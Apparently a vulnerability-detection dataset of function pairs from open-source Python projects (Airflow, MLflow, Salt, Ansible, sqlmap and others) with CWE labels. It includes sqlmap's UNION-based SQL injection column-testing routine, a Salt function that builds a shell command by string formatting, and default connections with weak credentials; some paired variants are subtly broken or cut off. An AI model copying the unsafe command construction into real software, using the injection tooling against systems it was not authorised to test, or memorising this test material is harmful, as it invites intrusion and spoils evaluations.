                            ""Key"": ""environment"",
                            ""Value"": ""development""
                        }
                    ]
                }
            """""",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""facebook_default"",
            conn_type=""facebook_social"",
            extra=""""""
                {   ""account_id"": ""<AD_ACCOUNNT_ID>"",
                    ""app_id"": ""<FACEBOOK_APP_ID>"",
                    ""app_secret"": ""<FACEBOOK_APP_SECRET>"",
                    ""access_token"": ""<FACEBOOK_AD_ACCESS_TOKEN>""
                }
            """""",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""fs_default"",
            conn_type=""fs"",
            extra='{""path"": ""/""}',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""google_cloud_default"",
            conn_type=""google_cloud_platform"",
            schema=""default"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""hive_cli_default"",
            conn_type=""hive_cli"",
            port=10000,
            host=""localhost"",
            extra='{""use_beeline"": true, ""auth"": """"}',
            schema=""default"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""hiveserver2_default"",
            conn_type=""hiveserver2"",
            host=""localhost"",
            schema=""default"",
            port=10000,
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""http_default"",
            conn_type=""http"",
            host=""https://www.httpbin.org/"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id='kubernetes_default',
            conn_type='kubernetes',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id='kylin_default',
            conn_type='kylin',
            host='localhost',
            port=7070,
            login=""ADMIN"",
            password=""KYLIN"",
        ),
        session,
    )
    merge_conn(Connection(conn_id=""livy_default"", conn_type=""livy"", host=""livy"", port=8998), session)
    merge_conn(
        Connection(
            conn_id=""local_mysql"",
            conn_type=""mysql"",
            host=""localhost"",
            login=""airflow"",
            password=""airflow"",
            schema=""airflow"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""metastore_default"",
            conn_type=""hive_metastore"",
            host=""localhost"",
            extra='{""authMechanism"": ""PLAIN""}',
            port=9083,
        ),
        session,
    )
    merge_conn(Connection(conn_id=""mongo_default"", conn_type=""mongo"", host=""mongo"", port=27017), session)
    merge_conn(
        Connection(
            conn_id=""mssql_default"",
            conn_type=""mssql"",
            host=""localhost"",
            port=1433,
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""mysql_default"",
            conn_type=""mysql"",
            login=""root"",
            schema=""airflow"",
            host=""mysql"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""opsgenie_default"",
            conn_type=""http"",
            host="""",
            password="""",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""pig_cli_default"",
            conn_type=""pig_cli"",
            schema=""default"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""pinot_admin_default"",
            conn_type=""pinot"",
            host=""localhost"",
            port=9000,
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""pinot_broker_default"",
            conn_type=""pinot"",
            host=""localhost"",
            port=9000,
            extra='{""endpoint"": ""/query"", ""schema"": ""http""}',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""postgres_default"",
            conn_type=""postgres"",
            login=""postgres"",
            password=""airflow"",
            schema=""airflow"",
            host=""postgres"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""presto_default"",
            conn_type=""presto"",
            host=""localhost"",
            schema=""hive"",
            port=3400,
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""qubole_default"",
            conn_type=""qubole"",
            host=""localhost"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""redis_default"",
            conn_type=""redis"",
            host=""redis"",
            port=6379,
            extra='{""db"": 0}',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""segment_default"",
            conn_type=""segment"",
            extra='{""write_key"": ""my-segment-write-key""}',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""sftp_default"",
            conn_type=""sftp"",
            host=""localhost"",
            port=22,
            login=""airflow"",
            extra='{""key_file"": ""~/.ssh/id_rsa"", ""no_host_key_check"": true}',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""spark_default"",
            conn_type=""spark"",
            host=""yarn"",
            extra='{""queue"": ""root.default""}',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""sqlite_default"",
            conn_type=""sqlite"",
            host=""/tmp/sqlite_default.db"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""sqoop_default"",
            conn_type=""sqoop"",
            host=""rdbms"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""ssh_default"",
            conn_type=""ssh"",
            host=""localhost"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""tableau_default"",
            conn_type=""tableau"",
            host=""https://tableau.server.url"",
            login=""user"",
            password=""password"",
            extra='{""site_id"": ""my_site""}',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""vertica_default"",
            conn_type=""vertica"",
            host=""localhost"",
            port=5433,
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""wasb_default"",
            conn_type=""wasb"",
            extra='{""sas_token"": null}',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""webhdfs_default"",
            conn_type=""hdfs"",
            host=""localhost"",
            port=50070,
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id='yandexcloud_default',
            conn_type='yandexcloud',
            schema='default',
        ),
        session,
    )"
,UNKNOWN,UNKNOWN,tests/models/test_renderedtifields.py,1,"def test_delete_old_records_mapped(
        self, num_runs, num_to_keep, remaining_rtifs, expected_query_count, dag_maker, session
    ):
        """"""
        Test that old records are deleted from rendered_task_instance_fields table
        for a given task_id and dag_id with mapped tasks.
        """"""
        with dag_maker(""test_delete_old_records"", session=session) as dag:
            mapped = BashOperator.partial(task_id=""mapped"").expand(bash_command=['a', 'b'])
        for num in range(num_runs):
            dr = dag_maker.create_dagrun(
                run_id=f'run_{num}', execution_date=dag.start_date + timedelta(days=num)
            )

            mapped.expand_mapped_task(dr.run_id, session=dag_maker.session)
            session.refresh(dr)
            for ti in dr.task_instances:
                ti.task = dag.get_task(ti.task_id)
                session.add(RTIF(ti))
        session.flush()

        result = session.query(RTIF).filter(RTIF.dag_id == dag.dag_id).all()
        assert len(result) == num_runs * 2

        # Verify old records are deleted and only 'num_to_keep' records are kept
        # For other DBs,an extra query is fired in RenderedTaskInstanceFields.delete_old_records
        expected_query_count_based_on_db = (
            expected_query_count + 1
            if session.bind.dialect.name == ""mssql"" and expected_query_count != 0
            else expected_query_count
        )

        with assert_queries_count(expected_query_count_based_on_db):
            RTIF.delete_old_records(
                task_id=mapped.task_id, dag_id=dr.dag_id, num_to_keep=num_to_keep, session=session
            )
        result = session.query(RTIF).filter_by(dag_id=dag.dag_id, task_id=mapped.task_id).all()
        rtif_num_runs = Counter(rtif.run_id for rtif in result)
        assert len(rtif_num_runs) == remaining_rtifs
        # Check that we have _all_ the data for each row
        assert len(result) == remaining_rtifs * 2",CWE-703,apache/airflow,a4d514bd7f7777e5bf03e9fa8e567f1c8774a74d,"def test_delete_old_records_mapped(
        self, num_runs, num_to_keep, remaining_rtifs, expected_query_count, dag_maker, session
    ):
        """"""
        Test that old records are deleted from rendered_task_instance_fields table
        for a given task_id and dag_id with mapped tasks.
        """"""
        with dag_maker(""test_delete_old_records"", session=session) as dag:
            mapped = BashOperator.partial(task_id=""mapped"").apply(bash_command=['a', 'b'])
        for num in range(num_runs):
            dr = dag_maker.create_dagrun(
                run_id=f'run_{num}', execution_date=dag.start_date + timedelta(days=num)
            )

            mapped.expand_mapped_task(dr.run_id, session=dag_maker.session)
            session.refresh(dr)
            for ti in dr.task_instances:
                ti.task = dag.get_task(ti.task_id)
                session.add(RTIF(ti))
        session.flush()

        result = session.query(RTIF).filter(RTIF.dag_id == dag.dag_id).all()
        assert len(result) == num_runs * 2

        # Verify old records are deleted and only 'num_to_keep' records are kept
        # For other DBs,an extra query is fired in RenderedTaskInstanceFields.delete_old_records
        expected_query_count_based_on_db = (
            expected_query_count + 1
            if session.bind.dialect.name == ""mssql"" and expected_query_count != 0
            else expected_query_count
        )

        with assert_queries_count(expected_query_count_based_on_db):
            RTIF.delete_old_records(
                task_id=mapped.task_id, dag_id=dr.dag_id, num_to_keep=num_to_keep, session=session
            )
        result = session.query(RTIF).filter_by(dag_id=dag.dag_id, task_id=mapped.task_id).all()
        rtif_num_runs = Counter(rtif.run_id for rtif in result)
        assert len(rtif_num_runs) == remaining_rtifs
        # Check that we have _all_ the data for each row
        assert len(result) == remaining_rtifs * 2"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/tracking/_tracking_service/utils.py,0,"def set_tracking_uri(uri: Union[str, Path]) -> None:
    """"""
    Set the tracking server URI. This does not affect the
    currently active run (if one exists), but takes effect for successive runs.

    Args:
        uri:

            - An empty string, or a local file path, prefixed with ``file:/``. Data is stored
              locally at the provided file (or ``./mlruns`` if empty).
            - An HTTP URI like ``https://my-tracking-server:5000``.
            - A Databricks workspace, provided as the string ""databricks"" or, to use a Databricks
              CLI `profile <https://github.com/databricks/databricks-cli#installation>`_,
              ""databricks://<profileName>"".
            - A :py:class:`pathlib.Path` instance

    .. code-block:: python
        :test:
        :caption: Example

        import mlflow

        mlflow.set_tracking_uri(""file:///tmp/my_tracking"")
        tracking_uri = mlflow.get_tracking_uri()
        print(f""Current tracking uri: {tracking_uri}"")

    .. code-block:: text
        :caption: Output

        Current tracking uri: file:///tmp/my_tracking
    """"""
    if isinstance(uri, Path):
        # On Windows with Python3.8 (https://bugs.python.org/issue38671)
        # .resolve() doesn't return the absolute path if the directory doesn't exist
        # so we're calling .absolute() first to get the absolute path on Windows,
        # then .resolve() to clean the path
        uri = uri.absolute().resolve().as_uri()
    global _tracking_uri

    if _tracking_uri != uri:
        _tracking_uri = uri
        if _tracking_uri is not None:
            # Set 'MLFLOW_TRACKING_URI' environment variable
            # so that subprocess can inherit it.
            MLFLOW_TRACKING_URI.set(_tracking_uri)
        else:
            MLFLOW_TRACKING_URI.unset()

        # Tracer provider uses tracking URI to determine where to export traces.
        # Tracer provider stores the URI as its state so we need to reset
        # it explicitly when the global tracking URI changes.
        reset_tracer_setup()",,mlflow/mlflow,d46dd96d60002ef0105f3eae8f76a829945dfc3f,"def set_tracking_uri(uri: Union[str, Path]) -> None:
    """"""
    Set the tracking server URI. This does not affect the
    currently active run (if one exists), but takes effect for successive runs.

    Args:
        uri:

            - An empty string, or a local file path, prefixed with ``file:/``. Data is stored
              locally at the provided file (or ``./mlruns`` if empty).
            - An HTTP URI like ``https://my-tracking-server:5000``.
            - A Databricks workspace, provided as the string ""databricks"" or, to use a Databricks
              CLI `profile <https://github.com/databricks/databricks-cli#installation>`_,
              ""databricks://<profileName>"".
            - A :py:class:`pathlib.Path` instance

    .. code-block:: python
        :test:
        :caption: Example

        import mlflow

        mlflow.set_tracking_uri(""file:///tmp/my_tracking"")
        tracking_uri = mlflow.get_tracking_uri()
        print(f""Current tracking uri: {tracking_uri}"")

    .. code-block:: text
        :caption: Output

        Current tracking uri: file:///tmp/my_tracking
    """"""
    if isinstance(uri, Path):
        # On Windows with Python3.8 (https://bugs.python.org/issue38671)
        # .resolve() doesn't return the absolute path if the directory doesn't exist
        # so we're calling .absolute() first to get the absolute path on Windows,
        # then .resolve() to clean the path
        uri = uri.absolute().resolve().as_uri()
    global _tracking_uri

    if _tracking_uri != uri:
        _tracking_uri = uri
        if _tracking_uri:
            # Set 'MLFLOW_TRACKING_URI' environment variable
            # so that subprocess can inherit it.
            MLFLOW_TRACKING_URI.set(_tracking_uri)

        # Tracer provider uses tracking URI to determine where to export traces.
        # Tracer provider stores the URI as its state so we need to reset
        # it explicitly when the global tracking URI changes.
        reset_tracer_setup()"
,UNKNOWN,UNKNOWN,tests/dag_processing/test_manager.py,1,"def test_scan_stale_dags(self, testing_dag_bundle):
        """"""
        Ensure that DAGs are marked inactive when the file is parsed but the
        DagModel.last_parsed_time is not updated.
        """"""
        manager = DagFileProcessorManager(
            max_runs=1,
            processor_timeout=10 * 60,
        )

        test_dag_path = DagFileInfo(
            bundle_name=""testing"",
            path=str(TEST_DAG_FOLDER / ""test_example_bash_operator.py""),
        )
        dagbag = DagBag(test_dag_path.path, read_dags_from_db=False, include_examples=False)

        with create_session() as session:
            # Add stale DAG to the DB
            dag = dagbag.get_dag(""test_example_bash_operator"")
            dag.last_parsed_time = timezone.utcnow()
            DAG.bulk_write_to_db(""testing"", None, [dag])
            SerializedDagModel.write_dag(dag, bundle_name=""testing"")

            # Add DAG to the file_parsing_stats
            stat = DagFileStat(
                num_dags=1,
                import_errors=0,
                last_finish_time=timezone.utcnow() + timedelta(hours=1),
                last_duration=1,
                run_count=1,
                last_num_of_db_queries=1,
            )
            manager._file_paths = [test_dag_path]
            manager._file_stats[test_dag_path] = stat

            active_dag_count = (
                session.query(func.count(DagModel.dag_id))
                .filter(DagModel.is_active, DagModel.fileloc == test_dag_path.path)
                .scalar()
            )
            assert active_dag_count == 1

            manager._scan_stale_dags()

            active_dag_count = (
                session.query(func.count(DagModel.dag_id))
                .filter(DagModel.is_active, DagModel.fileloc == test_dag_path.path)
                .scalar()
            )
            assert active_dag_count == 0

            serialized_dag_count = (
                session.query(func.count(SerializedDagModel.dag_id))
                .filter(SerializedDagModel.dag_id == dag.dag_id)
                .scalar()
            )
            # Deactivating the DagModel should not delete the SerializedDagModel
            # SerializedDagModel gives history about Dags
            assert serialized_dag_count == 1",CWE-703,apache/airflow,577985821e4e3c8cfbc2797feb19cc32fe2aaac0,"def test_scan_stale_dags(self, testing_dag_bundle):
        """"""
        Ensure that DAGs are marked inactive when the file is parsed but the
        DagModel.last_parsed_time is not updated.
        """"""
        manager = DagFileProcessorManager(
            max_runs=1,
            processor_timeout=10 * 60,
        )

        test_dag_path = DagFileInfo(
            bundle_name=""testing"",
            path=str(TEST_DAG_FOLDER / ""test_example_bash_operator.py""),
        )
        dagbag = DagBag(test_dag_path.path, read_dags_from_db=False, include_examples=False)

        with create_session() as session:
            # Add stale DAG to the DB
            dag = dagbag.get_dag(""test_example_bash_operator"")
            dag.last_parsed_time = timezone.utcnow()
            DAG.bulk_write_to_db(""testing"", None, [dag])
            SerializedDagModel.write_dag(dag)

            # Add DAG to the file_parsing_stats
            stat = DagFileStat(
                num_dags=1,
                import_errors=0,
                last_finish_time=timezone.utcnow() + timedelta(hours=1),
                last_duration=1,
                run_count=1,
                last_num_of_db_queries=1,
            )
            manager._file_paths = [test_dag_path]
            manager._file_stats[test_dag_path] = stat

            active_dag_count = (
                session.query(func.count(DagModel.dag_id))
                .filter(DagModel.is_active, DagModel.fileloc == test_dag_path.path)
                .scalar()
            )
            assert active_dag_count == 1

            manager._scan_stale_dags()

            active_dag_count = (
                session.query(func.count(DagModel.dag_id))
                .filter(DagModel.is_active, DagModel.fileloc == test_dag_path.path)
                .scalar()
            )
            assert active_dag_count == 0

            serialized_dag_count = (
                session.query(func.count(SerializedDagModel.dag_id))
                .filter(SerializedDagModel.dag_id == dag.dag_id)
                .scalar()
            )
            # Deactivating the DagModel should not delete the SerializedDagModel
            # SerializedDagModel gives history about Dags
            assert serialized_dag_count == 1"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,src/flask/json/__init__.py,0,"def dumps(obj, app=None, **kwargs):
    """"""Serialize an object to a string of JSON.

    Takes the same arguments as the built-in :func:`json.dumps`, with
    some defaults from application configuration.

    :param obj: Object to serialize to JSON.
    :param app: Use this app's config instead of the active app context
        or defaults.
    :param kwargs: Extra arguments passed to :func:`json.dumps`.

    .. versionchanged:: 2.0
        ``encoding`` is deprecated and will be removed in 2.1.

    .. versionchanged:: 1.0.3
        ``app`` can be passed directly, rather than requiring an app
        context for configuration.
    """"""
    _dump_arg_defaults(kwargs, app=app)
    encoding = kwargs.pop(""encoding"", None)
    rv = _json.dumps(obj, **kwargs)

    if encoding is not None:
        warnings.warn(
            ""'encoding' is deprecated and will be removed in 2.1."",
            DeprecationWarning,
            stacklevel=2,
        )

        if isinstance(rv, str):
            return rv.encode(encoding)

    return rv",,pallets/flask,2fab8a31ae2639b3eacdd3935d58203b09650f29,"def dumps(obj, app=None, **kwargs):
    """"""Serialize an object to a string of JSON.

    Takes the same arguments as the built-in :func:`json.dumps`, with
    some defaults from application configuration.

    :param obj: Object to serialize to JSON.
    :param app: Use this app's config instead of the active app context
        or defaults.
    :param kwargs: Extra arguments passed to func:`json.dumps`.

    .. versionchanged:: 2.0
        ``encoding`` is deprecated and will be removed in 2.1.

    .. versionchanged:: 1.0.3
        ``app`` can be passed directly, rather than requiring an app
        context for configuration.
    """"""
    _dump_arg_defaults(kwargs, app=app)
    encoding = kwargs.pop(""encoding"", None)
    rv = _json.dumps(obj, **kwargs)

    if encoding is not None:
        warnings.warn(
            ""'encoding' is deprecated and will be removed in 2.1."",
            DeprecationWarning,
            stacklevel=2,
        )

        if isinstance(rv, str):
            return rv.encode(encoding)

    return rv"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/pw_user.py,0,"def chhome(name, home, persist=False):
    '''
    Change the home directory of the user, pass true for persist to copy files
    to the new home dir

    CLI Example:

    .. code-block:: bash

        salt '*' user.chhome foo /home/users/foo True
    '''
    pre_info = info(name)
    if home == pre_info['home']:
        return True
    cmd = 'pw usermod {0} -d {1}'.format(name, home)
    if persist:
        cmd += ' -m '
    __salt__['cmd.run'](cmd)
    post_info = info(name)
    if post_info['home'] != pre_info['home']:
        return post_info['home'] == home
    return False",,saltstack/salt,f99ec2e388cf792d978bb4be030893232ca394ae,"def chhome(name, home, persist=False):
    '''
    Change the home directory of the user, pass true for persist to copy files
    to the new home dir

    CLI Example:

    .. code-block:: bash

        salt '*' user.chhome foo /home/users/foo True
    '''
    pre_info = info(name)
    if home == pre_info['home']:
        return True
    cmd = 'pw usermod {0} -d {1}'.format(name, home)
    if persist:
        cmd += ' -m '
    __salt__['cmd.run'](cmd)
    post_info = info(name)
    if post_info['home'] != pre_info['home']:
        return post_info['home'] == home
    return False"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/plugins/action/copy.py,0,"def _ensure_invocation(self, result):
        # NOTE: adding invocation arguments here needs to be kept in sync with
        # any no_log specified in the argument_spec in the module.
        # This is not automatic.
        # NOTE: do not add to this. This should be made a generic function for action plugins.
        # This should also use the same argspec as the module instead of keeping it in sync.
        if 'invocation' not in result:
            if self._play_context.no_log:
                result['invocation'] = ""CENSORED: no_log is set""
            else:
                # NOTE: Should be removed in the future. For now keep this broken
                # behaviour, have a look in the PR 51582
                result['invocation'] = self._task.args.copy()
                result['invocation']['module_args'] = self._task.args.copy()

        if isinstance(result['invocation'], dict):
            if 'content' in result['invocation']:
                result['invocation']['content'] = 'CENSORED: content is a no_log parameter'
            if result['invocation'].get('module_args', {}).get('content') is not None:
                result['invocation']['module_args']['content'] = 'VALUE_SPECIFIED_IN_NO_LOG_PARAMETER'

        return result",,ansible/ansible,6cae9a4b168df776bf82deb04b2c62e00c38b49a,"def _ensure_invocation(self, result):
        # NOTE: adding invocation arguments here needs to be kept in sync with
        # any no_log specified in the argument_spec in the module.
        # This is not automatic.
        if 'invocation' not in result:
            if self._play_context.no_log:
                result['invocation'] = ""CENSORED: no_log is set""
            else:
                # NOTE: Should be removed in the future. For now keep this broken
                # behaviour, have a look in the PR 51582
                result['invocation'] = self._task.args.copy()
                result['invocation']['module_args'] = self._task.args.copy()

        if isinstance(result['invocation'], dict) and 'content' in result['invocation']:
            result['invocation']['content'] = 'CENSORED: content is a no_log parameter'

        return result"
,UNKNOWN,UNKNOWN,tests/api_fastapi/core_api/routes/public/test_pools.py,1,"def test_delete_should_respond_400(self, test_client):
        response = test_client.delete(""/public/pools/default_pool"")
        assert response.status_code == 400
        body = response.json()
        assert body[""detail""] == ""Default Pool can't be deleted""",CWE-703,apache/airflow,03349014513114f1eaa413a9831b0027e4fbfa67,"def test_delete_should_respond_400(self, test_client):
        response = test_client.delete(""/public/pools/default_pool"")
        assert response.status_code == 400
        body = response.json()
        assert ""Default Pool can't be deleted"" == body[""detail""]"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/utils/file_utils.py,0,"def download_chunk(request_index, chunk_size, headers, download_path, http_uri):
    range_start = chunk_size * request_index
    range_end = range_start + chunk_size - 1
    combined_headers = {**headers, ""Range"": f""bytes={range_start}-{range_end}""}
    with cloud_storage_http_request(
        ""get"", http_uri, stream=False, headers=combined_headers
    ) as response:
        # File will have been created upstream. Use r+b to ensure chunks
        # don't overwrite the entire file.
        with open(download_path, ""r+b"") as f:
            f.seek(range_start)
            f.write(response.content)",,mlflow/mlflow,269bf9f909e23416b5e65d92e0312809c43946f4,"def download_chunk(request_index, chunk_size, headers, download_path, http_uri):
    range_start = chunk_size * request_index
    range_end = range_start + chunk_size - 1
    combined_headers = {**headers, ""Range"": f""bytes={range_start}-{range_end}""}
    with cloud_storage_http_request(
        ""get"", http_uri, stream=False, headers=combined_headers, cached_session=False
    ) as response:
        # File will have been created upstream. Use r+b to ensure chunks
        # don't overwrite the entire file.
        with open(download_path, ""r+b"") as f:
            f.seek(range_start)
            f.write(response.content)"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,core/data/parsers/tests/test_baseparser.py,0,"def test_parse_blank(self):    
        response = HTTPResponse( 200, '', Headers(), self.url, self.url )
        bp_inst = BaseParser(response)
        
        self.assertEqual( bp_inst.get_emails(), set() )
        
        self.assertRaises( NotImplementedError, bp_inst.get_comments )
        self.assertRaises( NotImplementedError, bp_inst.get_forms )
        self.assertRaises( NotImplementedError, bp_inst.get_meta_redir )
        self.assertRaises( NotImplementedError, bp_inst.get_meta_tags )
        self.assertRaises( NotImplementedError, bp_inst.get_references )
        self.assertRaises( NotImplementedError, bp_inst.get_scripts )",,andresriancho/w3af,1eb45ced559e605246e9b232904b90116aa3b514,"def test_parse_blank(self):    
        response = HTTPResponse( 200, '', Headers(), self.url, self.url )
        bp_inst = BaseParser(response)
        
        self.assertEqual( bp_inst.get_emails(), [] )
        
        self.assertRaises( NotImplementedError, bp_inst.get_comments )
        self.assertRaises( NotImplementedError, bp_inst.get_forms )
        self.assertRaises( NotImplementedError, bp_inst.get_meta_redir )
        self.assertRaises( NotImplementedError, bp_inst.get_meta_tags )
        self.assertRaises( NotImplementedError, bp_inst.get_references )
        self.assertRaises( NotImplementedError, bp_inst.get_scripts )"
,UNKNOWN,UNKNOWN,tests/unit/test_loader.py,1,"def test_load_source_file(self):
        '''
        Make sure that .py files are preferred over .pyc files
        '''
        self._write_module_file()
        self._byte_compile()
        self.loader = self._get_loader()
        filename = self._get_module_filename()
        basename = os.path.basename(filename)
        expected = 'lazyloadertest.py' if six.PY3 else 'lazyloadertest.pyc'
        assert basename == expected, basename",CWE-703,saltstack/salt,fd3e97a2e735261d790a6dbb19262a0bea846453,"def test_load_source_file(self):
        '''
        Make sure that .py files are preferred over .pyc files
        '''
        self._write_module_file()
        self._byte_compile()
        self.loader = self._get_loader()
        filename = self._get_module_filename()
        basename = os.path.basename(filename)
        expected = 'lazyloadertest.py' if six.PY3 else 'lazyloadertest.pyc'
        assert basename == expected, basename"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/techniques/union/test.py,0,"def __unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix):
    """"""
    This method tests if the target url is affected by an inband
    SQL injection vulnerability. The test is done up to 50 columns
    on the target database table
    """"""

    validPayload = None
    vector = None
    query = agent.prefixQuery(""UNION ALL SELECT %s"" % kb.uChar)

    # In case that user explicitly stated number of columns affected
    if conf.uColsStop == conf.uColsStart:
        count = conf.uColsStart
    else:
        count = __findUnionCharCount(comment, place, parameter, value, prefix, suffix, PAYLOAD.WHERE.ORIGINAL if isNullValue(kb.uChar) else PAYLOAD.WHERE.NEGATIVE)

    if count:
        if Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and query.endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]):
            query = query[:-len(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()])]

        if count:
            query += "", %s"" % kb.uChar

        if Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE:
            query += FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]

        validPayload, vector = __unionConfirm(comment, place, parameter, prefix, suffix, count)

        if not all([validPayload, vector]) and not all([conf.uChar, conf.dbms]):
            warnMsg = ""if UNION based SQL injection is not detected, ""
            warnMsg += ""please consider ""
            if not conf.uChar:
                warnMsg += ""usage of option '--union-char' ""
                warnMsg += ""(e.g. --union-char=1) ""
            if not conf.dbms:
                if not conf.uChar:
                    warnMsg += ""and/or try to force the ""
                else:
                    warnMsg += ""forcing the ""
                warnMsg += ""back-end DBMS (e.g. --dbms=mysql) ""
            singleTimeWarnMessage(warnMsg)

    return validPayload, vector",,sqlmapproject/sqlmap,e50d64546f130fb227a48a1017d3dfb998ef0c1b,"def __unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix):
    """"""
    This method tests if the target url is affected by an inband
    SQL injection vulnerability. The test is done up to 50 columns
    on the target database table
    """"""

    validPayload = None
    vector = None
    query = agent.prefixQuery(""UNION ALL SELECT %s"" % kb.uChar)

    # In case that user explicitly stated number of columns affected
    if conf.uColsStop == conf.uColsStart:
        count = conf.uColsStart
    else:
        count = __findUnionCharCount(comment, place, parameter, value, prefix, suffix, PAYLOAD.WHERE.ORIGINAL if isNullValue(kb.uChar) else PAYLOAD.WHERE.NEGATIVE)

    if count:
        if Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and query.endswith(FROM_TABLE[Backend.getIdentifiedDbms()]):
            query = query[:-len(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()])]

        if count:
            query += "", %s"" % kb.uChar

        if Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE:
            query += FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]

        validPayload, vector = __unionConfirm(comment, place, parameter, prefix, suffix, count)

        if not all([validPayload, vector]) and not all([conf.uChar, conf.dbms]):
            warnMsg = ""if UNION based SQL injection is not detected, ""
            warnMsg += ""please consider ""
            if not conf.uChar:
                warnMsg += ""usage of option '--union-char' ""
                warnMsg += ""(e.g. --union-char=1) ""
            if not conf.dbms:
                if not conf.uChar:
                    warnMsg += ""and/or try to force the ""
                else:
                    warnMsg += ""forcing the ""
                warnMsg += ""back-end DBMS (e.g. --dbms=mysql) ""
            singleTimeWarnMessage(warnMsg)

    return validPayload, vector"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,dev/breeze/src/airflow_breeze/commands/testing_commands.py,0,"def _run_test(
    exec_shell_params: ShellParams,
    extra_pytest_args: tuple,
    db_reset: bool,
    output: Output | None,
    test_timeout: int,
    output_outside_the_group: bool = False,
) -> tuple[int, str]:
    env_variables = get_env_variables_for_docker_commands(exec_shell_params)
    env_variables[""RUN_TESTS""] = ""true""
    if test_timeout:
        env_variables[""TEST_TIMEOUT""] = str(test_timeout)
    if db_reset:
        env_variables[""DB_RESET""] = ""true""
    perform_environment_checks()
    env_variables[""TEST_TYPE""] = exec_shell_params.test_type
    env_variables[""SKIP_PROVIDER_TESTS""] = str(exec_shell_params.skip_provider_tests).lower()
    if ""["" in exec_shell_params.test_type and not exec_shell_params.test_type.startswith(""Providers""):
        get_console(output=output).print(
            ""[error]Only 'Providers' test type can specify actual tests with \\[\\][/]""
        )
        sys.exit(1)
    project_name = _file_name_from_test_type(exec_shell_params.test_type)
    down_cmd = [
        *DOCKER_COMPOSE_COMMAND,
        ""--project-name"",
        f""airflow-test-{project_name}"",
        ""down"",
        ""--remove-orphans"",
    ]
    run_command(down_cmd, env=env_variables, output=output, check=False)
    run_cmd = [
        *DOCKER_COMPOSE_COMMAND,
        ""--project-name"",
        f""airflow-test-{project_name}"",
        ""run"",
        ""-T"",
        ""--service-ports"",
        ""--rm"",
        ""airflow"",
    ]
    run_cmd.extend(list(extra_pytest_args))
    try:
        result = run_command(
            run_cmd,
            env=env_variables,
            output=output,
            check=False,
            output_outside_the_group=output_outside_the_group,
        )
        if os.environ.get(""CI"") == ""true"" and result.returncode != 0:
            ps_result = run_command(
                [""docker"", ""ps"", ""--all"", ""--format"", ""{{.Names}}""],
                check=True,
                capture_output=True,
                text=True,
            )
            container_ids = ps_result.stdout.splitlines()
            get_console(output=output).print(
                f""[info]Error {ps_result.returncode}. Dumping containers: {container_ids}.""
            )
            date_str = datetime.now().strftime(""%Y_%d_%m_%H_%M_%S"")
            for container_id in container_ids:
                dump_path = FILES_DIR / f""container_logs_{container_id}_{date_str}.log""
                get_console(output=output).print(f""[info]Dumping container {container_id} to {dump_path}"")
                with open(dump_path, ""w"") as outfile:
                    run_command([""docker"", ""logs"", container_id], check=False, stdout=outfile)
    finally:
        run_command(
            [
                *DOCKER_COMPOSE_COMMAND,
                ""--project-name"",
                f""airflow-test-{project_name}"",
                ""rm"",
                ""--stop"",
                ""--force"",
                ""-v"",
            ],
            env=env_variables,
            output=output,
            check=False,
            verbose_override=False,
        )
    return result.returncode, f""Test: {exec_shell_params.test_type}""",CWE-Unknown,apache/airflow,b6990132cd0631ea79a826e578bf32071bfe050a,"def _run_test(
    exec_shell_params: ShellParams,
    extra_pytest_args: tuple,
    db_reset: bool,
    output: Output | None,
    test_timeout: int,
    output_outside_the_group: bool = False,
) -> tuple[int, str]:
    env_variables = get_env_variables_for_docker_commands(exec_shell_params)
    env_variables[""RUN_TESTS""] = ""true""
    if test_timeout:
        env_variables[""TEST_TIMEOUT""] = str(test_timeout)
    if db_reset:
        env_variables[""DB_RESET""] = ""true""
    perform_environment_checks()
